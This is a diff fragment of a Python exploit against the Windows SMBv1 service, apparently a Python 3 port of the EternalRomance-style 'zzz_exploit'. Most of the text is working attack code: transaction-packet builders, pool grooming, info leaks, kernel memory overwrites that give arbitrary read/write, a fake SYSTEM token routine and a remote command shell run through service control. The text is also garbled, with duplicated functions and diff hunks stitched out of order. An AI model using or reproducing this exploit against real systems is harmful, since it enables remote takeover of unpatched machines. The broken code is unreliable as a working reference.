def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
if maxSetupCount is None:
|
||||
maxSetupCount = len(setup)
|
||||
if totalParameterCount is None:
|
||||
totalParameterCount = len(param)
|
||||
if totalDataCount is None:
|
||||
totalDataCount = len(data)
|
||||
if maxParameterCount is None:
|
||||
maxParameterCount = totalParameterCount
|
||||
if maxDataCount is None:
|
||||
maxDataCount = totalDataCount
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
|
||||
transCmd['Parameters'] = smb.SMBNTTransaction_Parameters()
|
||||
transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
|
||||
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
|
||||
transCmd['Parameters']['TotalDataCount'] = totalDataCount
|
||||
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
|
||||
transCmd['Parameters']['MaxDataCount'] = maxDataCount
|
||||
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['Function'] = function
|
||||
transCmd['Parameters']['Setup'] = setup
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
|
||||
return self.recvSMB()
|
||||
def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
|
||||
|
||||
def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY)
|
||||
transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = len(param)
|
||||
transCmd['Parameters']['TotalDataCount'] = len(data)
|
||||
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
if maxSetupCount is None:
|
||||
maxSetupCount = len(setup)
|
||||
if totalParameterCount is None:
|
||||
totalParameterCount = len(param)
|
||||
if totalDataCount is None:
|
||||
totalDataCount = len(data)
|
||||
if maxParameterCount is None:
|
||||
maxParameterCount = totalParameterCount
|
||||
if maxDataCount is None:
|
||||
maxDataCount = totalDataCount
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2)
|
||||
transCmd['Parameters'] = smb.SMBTransaction2_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
|
||||
transCmd['Parameters']['TotalDataCount'] = totalDataCount
|
||||
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
|
||||
transCmd['Parameters']['MaxDataCount'] = maxDataCount
|
||||
transCmd['Parameters']['MaxSetupCount'] = len(setup)
|
||||
transCmd['Parameters']['Flags'] = 0
|
||||
transCmd['Parameters']['Timeout'] = 0xffffffff
|
||||
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['Setup'] = setup
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
|
||||
def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
|
||||
transCmd['Parameters'] = SMBTransaction2Secondary_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = len(param)
|
||||
transCmd['Parameters']['TotalDataCount'] = len(data)
|
||||
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
||||
|
||||
def recv_transaction_data(self, mid, minLen):
|
||||
data = ''
|
||||
while len(data) < minLen:
|
||||
recvPkt = self.recvSMB()
|
||||
if recvPkt['Mid'] != mid:
|
||||
continue
|
||||
resp = smb.SMBCommand(recvPkt['Data'][0])
|
||||
data += resp['Data'][1:] # skip padding
|
||||
#print(len(data))
|
||||
return data
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
|
||||
|
||||
def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
if maxSetupCount is None:
|
||||
maxSetupCount = len(setup)
|
||||
if totalParameterCount is None:
|
||||
totalParameterCount = len(param)
|
||||
if totalDataCount is None:
|
||||
totalDataCount = len(data)
|
||||
if maxParameterCount is None:
|
||||
maxParameterCount = totalParameterCount
|
||||
if maxDataCount is None:
|
||||
maxDataCount = totalDataCount
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
|
||||
transCmd['Parameters'] = smb.SMBNTTransaction_Parameters()
|
||||
transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
|
||||
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
|
||||
transCmd['Parameters']['TotalDataCount'] = totalDataCount
|
||||
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
|
||||
transCmd['Parameters']['MaxDataCount'] = maxDataCount
|
||||
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['Function'] = function
|
||||
transCmd['Parameters']['Setup'] = setup
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad))
|
||||
return self.recvSMB()
|
||||
|
||||
def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY)
|
||||
transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters()
|
||||
transCmd['Parameters']['TotalParameterCount'] = len(param)
|
||||
transCmd['Parameters']['TotalDataCount'] = len(data)
|
||||
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
|
||||
transCmd['Parameters']['DataCount'] = len(data)
|
||||
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
||||
_put_trans_data(transCmd, param, data, noPad)
|
||||
return self.create_smb_packet(transCmd, mid, pid, tid)
|
||||
|
||||
def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False):
|
||||
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad))
|
||||
|
||||
def recv_transaction_data(self, mid, minLen):
|
||||
data = b''
|
||||
while len(data) < minLen:
|
||||
recvPkt = self.recvSMB()
|
||||
if recvPkt['Mid'] != mid:
|
||||
continue
|
||||
resp = smb.SMBCommand(recvPkt['Data'][0])
|
||||
data += resp['Data'][1:] # skip padding
|
||||
#print(len(data))
|
||||
return data
|
||||
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, share, rpc, mode, serviceName):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
self.__outputFilename = ''.join([random.choice(string.letters) for _ in range(4)])
|
||||
self.__outputFilename = ''.join([random.choice(string.ascii_letters) for _ in range(4)])
|
||||
self.__output = '\\\\127.0.0.1\\{}\\{}'.format(self.__share,self.__outputFilename)
|
||||
self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.letters) for _ in range(4)]))
|
||||
self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.ascii_letters) for _ in range(4)]))
|
||||
self.__outputBuffer = b''
|
||||
self.__command = ''
|
||||
self.__shell = '%COMSPEC% /Q /c '
|
||||
self.__serviceName = serviceName
|
||||
self.__rpc = rpc
|
||||
self.intro = '[!] Dropping a semi-interactive shell (remember to escape special chars with ^) \n[!] Executing interactive programs will hang shell!'
|
||||
|
||||
self.intro = '[!] Dropping a semi-interactive shell (remember to escape special chars with ^) \n[!] Executing interactive programs will hang shell!'
|
||||
self.__scmr = rpc.get_dce_rpc('svcctl')
|
||||
|
||||
try:
|
||||
self.__scmr.connect()
|
||||
except Exception as e:
|
||||
@@ -446,7 +445,7 @@ class RemoteShell(cmd.Cmd):
|
||||
# Just in case the service is still created
|
||||
try:
|
||||
self.__scmr = self.__rpc.get_dce_rpc()
|
||||
self.__scmr.connect()
|
||||
self.__scmr.connect()
|
||||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
@@ -580,4 +579,3 @@ class SMBServer(Thread):
|
||||
self.smb.socket.close()
|
||||
self.smb.server_close()
|
||||
self._Thread__stop()
|
||||
|
||||
|
||||
+146
-71
@@ -84,7 +84,7 @@ struct SrvSecContext {
|
||||
}
|
||||
|
||||
SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user.
|
||||
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
|
||||
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.
|
||||
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
|
||||
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
|
||||
STATUS_SUCCESS when Token is NULL.
|
||||
@@ -288,7 +288,7 @@ def reset_extra_mid(conn):
|
||||
global extra_last_mid, special_mid
|
||||
special_mid = (conn.next_mid() & 0xff00) - 0x100
|
||||
extra_last_mid = special_mid
|
||||
|
||||
|
||||
def next_extra_mid():
|
||||
global extra_last_mid
|
||||
extra_last_mid += 1
|
||||
@@ -304,7 +304,7 @@ def leak_frag_size(conn, tid, fid):
|
||||
# this method can be used on Windows Vista/2008 and later
|
||||
# leak "Frag" pool size and determine target architecture
|
||||
info = {}
|
||||
|
||||
|
||||
# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
|
||||
# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
|
||||
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
|
||||
@@ -312,7 +312,7 @@ def leak_frag_size(conn, tid, fid):
|
||||
mid = conn.next_mid()
|
||||
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-TRANS_NAME_LEN)
|
||||
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes
|
||||
|
||||
|
||||
conn.send_raw(req1[:-8])
|
||||
conn.send_raw(req1[-8:]+req2)
|
||||
leakData = conn.recv_transaction_data(mid, 0x10d0+276)
|
||||
@@ -329,7 +329,7 @@ def leak_frag_size(conn, tid, fid):
|
||||
else:
|
||||
print('Not found Frag pool tag in leak data')
|
||||
sys.exit()
|
||||
|
||||
|
||||
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))
|
||||
return info
|
||||
|
||||
@@ -344,7 +344,7 @@ def read_data(conn, info, read_addr, read_size):
|
||||
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount
|
||||
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)
|
||||
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])
|
||||
|
||||
|
||||
# create one more transaction before leaking data
|
||||
# - next transaction can be used for arbitrary read/write after the current trans2 is done
|
||||
# - next transaction address is from TransactionListEntry.Flink value
|
||||
@@ -353,10 +353,10 @@ def read_data(conn, info, read_addr, read_size):
|
||||
# finish the trans2 to leak
|
||||
conn.send_nt_trans_secondary(mid=info['trans2_mid'])
|
||||
read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)
|
||||
|
||||
|
||||
# set new trans2 address
|
||||
info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']
|
||||
|
||||
|
||||
# set trans1.InData to &trans2
|
||||
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
@@ -364,14 +364,14 @@ def read_data(conn, info, read_addr, read_size):
|
||||
# modify trans2 mid
|
||||
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
|
||||
return read_data[8:] # no need to return parameter
|
||||
|
||||
def write_data(conn, info, write_addr, write_data):
|
||||
# trans2.InData
|
||||
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
|
||||
# write data
|
||||
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)
|
||||
wait_for_request_processed(conn)
|
||||
@@ -397,7 +397,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
|
||||
|
||||
conn.send_raw(req1[:-8])
|
||||
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))
|
||||
|
||||
|
||||
# expected transactions alignment ("Frag" pool is not shown)
|
||||
#
|
||||
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
|
||||
@@ -418,7 +418,7 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
|
||||
if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':
|
||||
print('Not found Frag pool tag in leak data')
|
||||
return None
|
||||
|
||||
|
||||
# ================================
|
||||
# verify leak data
|
||||
# ================================
|
||||
@@ -460,16 +460,16 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4):
|
||||
|
||||
def exploit_matched_pairs(conn, pipe_name, info):
|
||||
# for Windows 7/2008 R2 and later
|
||||
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
|
||||
conn.set_default_tid(tid)
|
||||
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
|
||||
fid = conn.nt_create_andx(tid, pipe_name)
|
||||
|
||||
|
||||
info.update(leak_frag_size(conn, tid, fid))
|
||||
# add os and arch specific exploit info
|
||||
info.update(OS_ARCH_INFO[info['os']][info['arch']])
|
||||
|
||||
|
||||
# groom: srv buffer header
|
||||
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])
|
||||
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))
|
||||
@@ -482,7 +482,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
||||
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))
|
||||
# bride paramters and data is alignment by 4 because it is TRANS
|
||||
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - TRANS_NAME_LEN - info['TRANS_SIZE']
|
||||
|
||||
|
||||
# ================================
|
||||
# try align pagedpool and leak info until satisfy
|
||||
# ================================
|
||||
@@ -496,14 +496,14 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
||||
print('[-] leak failleak failed... try again')
|
||||
conn.close(tid, fid)
|
||||
conn.disconnect_tree(tid)
|
||||
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
|
||||
conn.set_default_tid(tid)
|
||||
fid = conn.nt_create_andx(tid, pipe_name)
|
||||
|
||||
if leakInfo is None:
|
||||
return False
|
||||
|
||||
|
||||
info['fid'] = fid
|
||||
info.update(leakInfo)
|
||||
|
||||
@@ -518,7 +518,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
||||
# maxParameterCount (0x1000), trans name (4), param (4)
|
||||
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte
|
||||
indata_next_trans_displacement = info['trans2_addr'] - indata_value
|
||||
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
|
||||
conn.send_nt_trans_secondary(mid=fid, data=b'\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
# if the overwritten is correct, a modified transaction mid should be special_mid now.
|
||||
@@ -535,7 +535,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
||||
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly
|
||||
# but this method make the transation never get freed
|
||||
# I will avoid memory leak
|
||||
|
||||
|
||||
# ================================
|
||||
# modify trans1 struct to be used for arbitrary read/write
|
||||
# ================================
|
||||
@@ -558,7 +558,7 @@ def exploit_matched_pairs(conn, pipe_name, info):
|
||||
|
||||
def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# for Windows Vista/2008 and earlier
|
||||
|
||||
|
||||
tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$')
|
||||
conn.set_default_tid(tid)
|
||||
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
|
||||
@@ -568,7 +568,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
if info['os'] == 'WIN7' and 'arch' not in info:
|
||||
# leak_frag_size() can be used against Windows Vista/2008 to determine target architecture
|
||||
info.update(leak_frag_size(conn, tid, fid))
|
||||
|
||||
|
||||
if 'arch' in info:
|
||||
# add os and arch specific exploit info
|
||||
info.update(OS_ARCH_INFO[info['os']][info['arch']])
|
||||
@@ -578,7 +578,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# this case is only for Windows 2003
|
||||
# try offset of 64 bit then 32 bit because no target architecture
|
||||
attempt_list = [ OS_ARCH_INFO[info['os']]['x64'], OS_ARCH_INFO[info['os']]['x86'] ]
|
||||
|
||||
|
||||
# ================================
|
||||
# groom packets
|
||||
# ================================
|
||||
@@ -588,8 +588,8 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
trans_param = pack('<HH', info['fid'], 0)
|
||||
for i in range(12):
|
||||
mid = info['fid'] if i == 8 else next_extra_mid()
|
||||
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
|
||||
|
||||
conn.send_trans('', mid=mid, param=trans_param, totalParameterCount=0x100-TRANS_NAME_LEN, totalDataCount=0xec0, maxParameterCount=0x40, maxDataCount=0)
|
||||
|
||||
# expected transactions alignment
|
||||
#
|
||||
# +-----------+-----------+-----...-----+-----------+-----------+-----------+-----------+-----------+
|
||||
@@ -602,7 +602,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# ================================
|
||||
shift_indata_byte = 0x200
|
||||
conn.do_write_andx_raw_pipe(info['fid'], 'A'*shift_indata_byte)
|
||||
|
||||
|
||||
# ================================
|
||||
# Dangerous operation: attempt to control one transaction
|
||||
# ================================
|
||||
@@ -614,9 +614,12 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
NEXT_TRANS_OFFSET = 0xf00 - shift_indata_byte + HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
|
||||
|
||||
# Below operation is dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
|
||||
conn.send_trans_secondary(mid=info['fid'], data=b'\x00', dataDisplacement=NEXT_TRANS_OFFSET+tinfo['TRANS_MID_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
|
||||
|
||||
|
||||
# if the overwritten is correct, a modified transaction mid should be special_mid now.
|
||||
# a new transaction with special_mid should be error.
|
||||
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=trans_param, data='')
|
||||
@@ -630,7 +633,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
break
|
||||
if recvPkt.getNTStatus() != 0:
|
||||
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||
|
||||
|
||||
if not success:
|
||||
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||
print('!!! Write to wrong place !!!')
|
||||
@@ -641,8 +644,8 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# NSA eternalromance modify transaction RefCount to keep controlled and reuse transaction after leaking info.
|
||||
# This is easy to to but the modified transaction will never be freed. The next exploit attempt might be harder
|
||||
# because of this unfreed memory chunk. I will avoid it.
|
||||
|
||||
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
|
||||
|
||||
# From a picture above, now we can only control trans2 by trans1 data. Also we know only offset of these two
|
||||
# transactions (do not know the address).
|
||||
# After reading memory by modifying and completing trans2, trans2 cannot be used anymore.
|
||||
# To be able to use trans1 after trans2 is gone, we need to modify trans1 to be able to modify itself.
|
||||
@@ -651,24 +654,24 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
# On 64 bit target, modifying paramter count is not enough because address size is 64 bit. Because our transactions
|
||||
# are allocated with RtlAllocateHeap(), the HIDWORD of InParameter is always 0. To be able to write backward with offset only,
|
||||
# we also modify HIDWORD of InParameter to 0xffffffff.
|
||||
|
||||
|
||||
print('modify parameter count to 0xffffffff to be able to write backward')
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
conn.send_trans_secondary(mid=info['fid'], data=b'\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
# on 64 bit, modify InParameter last 4 bytes to \xff\xff\xff\xff too
|
||||
if info['arch'] == 'x64':
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
conn.send_trans_secondary(mid=info['fid'], data=b'\xff'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
|
||||
TRANS_CHUNK_SIZE = HEAP_HDR_SIZE + info['TRANS_SIZE'] + 0x1000 + HEAP_CHUNK_PAD_SIZE
|
||||
PREV_TRANS_DISPLACEMENT = TRANS_CHUNK_SIZE + info['TRANS_SIZE'] + TRANS_NAME_LEN
|
||||
PREV_TRANS_OFFSET = 0x100000000 - PREV_TRANS_DISPLACEMENT
|
||||
|
||||
# modify paramterCount of first transaction
|
||||
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
conn.send_nt_trans_secondary(mid=special_mid, param=b'\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_TOTALPARAMCNT_OFFSET'])
|
||||
if info['arch'] == 'x64':
|
||||
conn.send_nt_trans_secondary(mid=special_mid, param='\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
conn.send_nt_trans_secondary(mid=special_mid, param=b'\xff'*4, paramDisplacement=PREV_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
# restore trans2.InParameters pointer before leaking next transaction
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
conn.send_trans_secondary(mid=info['fid'], data=b'\x00'*4, dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_INPARAM_OFFSET']+4)
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
# ================================
|
||||
@@ -677,7 +680,7 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
print('leak next transaction')
|
||||
# modify TRANSACTION member to leak info
|
||||
# function=5 (NT_TRANS_RENAME)
|
||||
conn.send_trans_secondary(mid=info['fid'], data='\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
|
||||
conn.send_trans_secondary(mid=info['fid'], data=b'\x05', dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_FUNCTION_OFFSET'])
|
||||
# parameterCount, totalParameterCount, maxParameterCount, dataCount, totalDataCount
|
||||
conn.send_trans_secondary(mid=info['fid'], data=pack('<IIIII', 4, 4, 4, 0x100, 0x100), dataDisplacement=NEXT_TRANS_OFFSET+info['TRANS_PARAMCNT_OFFSET'])
|
||||
|
||||
@@ -698,18 +701,18 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+fmt*5, leakTrans, 8)
|
||||
inparam_value, outparam_value, indata_value = unpack_from('<'+fmt*3, leakTrans, info['TRANS_INPARAM_OFFSET'])
|
||||
trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
|
||||
|
||||
|
||||
print('CONNECTION: 0x{:x}'.format(connection_addr))
|
||||
print('SESSION: 0x{:x}'.format(session_addr))
|
||||
print('FLINK: 0x{:x}'.format(flink_value))
|
||||
print('InData: 0x{:x}'.format(indata_value))
|
||||
print('MID: 0x{:x}'.format(trans2_mid))
|
||||
|
||||
|
||||
trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
|
||||
trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
|
||||
print('TRANS1: 0x{:x}'.format(trans1_addr))
|
||||
print('TRANS2: 0x{:x}'.format(trans2_addr))
|
||||
|
||||
|
||||
# ================================
|
||||
# modify trans struct to be used for arbitrary read/write
|
||||
# ================================
|
||||
@@ -721,12 +724,12 @@ def exploit_fish_barrel(conn, pipe_name, info):
|
||||
TRANS_OFFSET = 0x100000000 - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
|
||||
conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<'+fmt*3, trans1_addr, trans1_addr+0x200, trans2_addr), paramDisplacement=TRANS_OFFSET+info['TRANS_INPARAM_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
|
||||
# modify trans1.mid
|
||||
trans1_mid = conn.next_mid()
|
||||
conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
|
||||
wait_for_request_processed(conn)
|
||||
|
||||
|
||||
info.update({
|
||||
'connection': connection_addr,
|
||||
'session': session_addr,
|
||||
@@ -748,20 +751,20 @@ def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroup
|
||||
# - 0xe: SE_GROUP_OWNER | SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT
|
||||
# - 0x7: SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_MANDATORY
|
||||
attrs = [ 0, 0xe, 7, 7 ]
|
||||
